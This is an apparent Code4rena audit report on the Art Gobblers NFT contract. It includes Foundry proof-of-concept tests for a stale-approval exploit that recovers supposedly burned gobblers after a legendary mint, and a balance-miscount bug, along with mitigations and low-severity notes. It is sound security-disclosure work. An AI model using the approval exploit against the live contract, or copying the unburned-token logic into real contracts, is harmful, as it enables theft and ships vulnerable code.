Art Gobblers contest - wagmi's results

Lines of code

https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L441

Vulnerability details

Impact

In ArtGobblers.mintLegendaryGobbler() function, it mints a legendary gobbler by burning multiple standard gobblers. But instead of call _burn(), it just set getGobblerData[id].owner = address(0).

All the data of the standard gobbler will stay the same, included getApproved[id]. So an user can approve their standard gobblers to another wallet before minting legendary gobbler. After that, he can call transferFrom() from other wallet to get all these gobblers back.

The result is users can mint legendary gobbler without losing any standard gobblers.

Proof of Concept

Script modified from testMintLegendaryGobbler()

function testMintLegendaryGobbler() public {
    uint256 startTime = block.timestamp + 30 days;
    vm.warp(startTime);
    // Mint full interval to kick off first auction.
    mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL());

    uint256 exploitId = 2;
    vm.prank(users[0]);
    gobblers.approve(users[1], exploitId);

    uint256 cost = gobblers.legendaryGobblerPrice();
    assertEq(cost, 69);
    setRandomnessAndReveal(cost, "seed");
    uint256 emissionMultipleSum;
    for (uint256 curId = 1; curId <= cost; curId++) {
        ids.push(curId);
        assertEq(gobblers.ownerOf(curId), users[0]);
        emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId);
    }

    assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum);

    vm.prank(users[0]);
    uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);

    // Legendary is owned by user.
    assertEq(gobblers.ownerOf(mintedLegendaryId), users[0]);
    assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2);

    assertEq(gobblers.getGobblerEmissionMultiple(mintedLegendaryId), emissionMultipleSum * 2);

    vm.prank(users[1]);
    gobblers.transferFrom(address(0), users[1], exploitId);

    for (uint256 i = 0; i < ids.length; i++) {
        hevm.expectRevert("NOT_MINTED");
        gobblers.ownerOf(ids[i]);
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

Consider adding _burn() function to burn standard gobblers.

Lines of code

https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L458

Vulnerability details

Impact

In ArtGobblers.mintLegendaryGobbler() function, line 458 calculates the number of gobblers user owned after minting

// We subtract the amount of gobblers burned, and then add 1 to factor in the new legendary.
getUserData[msg.sender].gobblersOwned = uint32(getUserData[msg.sender].gobblersOwned - cost + 1);

It added 1 to factor in the new legendary. But actually, this new legendary is accounted in _mint() function already

function _mint(address to, uint256 id) internal {
    // Does not check if the token was already minted or the recipient is address(0)
    // because ArtGobblers.sol manages its ids in such a way that it ensures it won't
    // double mint and will only mint to safe addresses or msg.sender who cannot be zero.

    unchecked {
        ++getUserData[to].gobblersOwned;
    }

    getGobblerData[id].owner = to;

    emit Transfer(address(0), to, id);
}

So the result is gobblersOwned is updated incorrectly. And balanceOf() will return wrong value.

Proof of Concept

Script modified from testMintLegendaryGobbler()

function testMintLegendaryGobbler() public {
    uint256 startTime = block.timestamp + 30 days;
    vm.warp(startTime);
    // Mint full interval to kick off first auction.
    mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL());
    uint256 cost = gobblers.legendaryGobblerPrice();
    assertEq(cost, 69);
    setRandomnessAndReveal(cost, "seed");
    uint256 emissionMultipleSum;
    for (uint256 curId = 1; curId <= cost; curId++) {
        ids.push(curId);
        assertEq(gobblers.ownerOf(curId), users[0]);
        emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId);
    }

    assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum);

    uint256 beforeSupply = gobblers.balanceOf(users[0]);
    vm.prank(users[0]);
    uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);

    // Check balance
    assertEq(gobblers.balanceOf(users[0]), beforeSupply - cost + 1);
}

Tools Used

Foundry

Recommended Mitigation Steps

Consider remove adding 1 when calculating gobblersOwned

getUserData[msg.sender].gobblersOwned = uint32(getUserData[msg.sender].gobblersOwned - cost);

Summary

1. TokenURI should revert for burned gobblers

In ArtGobblers.tokenURI() function, it checks for various cases but still return values for burned gobblers.

Consider revert or return empty string in tokenURI() in case gobbler is burned .

Affected Codes

• https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L693

2. Art in Gobbler is lost after using to mint legendary gobbler

Arts that is fed to a standard gobbler through gobble() is lost when this gobbler is used to mint legendary gobbler.

In case legendary gobbler is minted, these arts should also be transferred to this new gobler. If art is a valuable NFT (CryptoPunk), this is a huge loss.

Consider adding a mechanism to allow users move arts from standard gobblers to new legendary gobbler gradually.

Affected Codes

• https://github.com/code-423n4/2022-09-artgobblers/blob/d2087c5a8a6a4f1b9784520e7fe75afa3a9cbdbe/src/ArtGobblers.sol#L411